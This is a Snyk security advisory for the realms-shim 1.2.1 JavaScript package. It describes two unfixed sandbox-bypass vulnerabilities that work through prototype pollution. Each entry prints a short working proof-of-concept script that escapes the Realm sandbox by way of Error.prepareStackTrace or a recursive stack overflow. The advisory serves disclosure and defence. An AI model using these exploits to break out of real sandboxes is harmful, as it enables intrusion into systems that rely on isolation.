realms-shim@1.2.1 vulnerabilities

Spec-compliant shim for Realms TC39 Proposal

Direct Vulnerabilities

Known vulnerabilities in the realms-shim package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • C
Sandbox Bypass

realms-shim is a shim implementation of the Realm API Proposal.

Affected versions of this package are vulnerable to Sandbox Bypass via a Prototype Pollution attack vector.

PoC

import Realm from 'realms-shim'

let realm = Realm.makeRootRealm();
try {
    realm.evaluate(`
        Error.prepareStackTrace = function (error, stackTrace) {        
            stackTrace.__proto__.__proto__.polluted = 'success'            
        };
        x;
    `);
} catch(e) {
    // we do not even need to print e
}
console.log(polluted);

How to fix Sandbox Bypass?

There is no fixed version for realms-shim.

*
  • C
Sandbox Bypass

realms-shim is a shim implementation of the Realm API Proposal.

Affected versions of this package are vulnerable to Sandbox Bypass via a Prototype Pollution attack vector.

PoC

import Realm from 'realms-shim'
let realm = Realm.makeRootRealm();

realm.evaluate(`
function test() {    
    try {
       test();
    } catch (e) {                        
        e.__proto__.__proto__.__proto__.polluted = "success";        
        new Error().stack; // if one comments this uselss line, the PoC does not work anymore
    }
}
test();`);
console.log(polluted)

How to fix Sandbox Bypass?

There is no fixed version for realms-shim.

*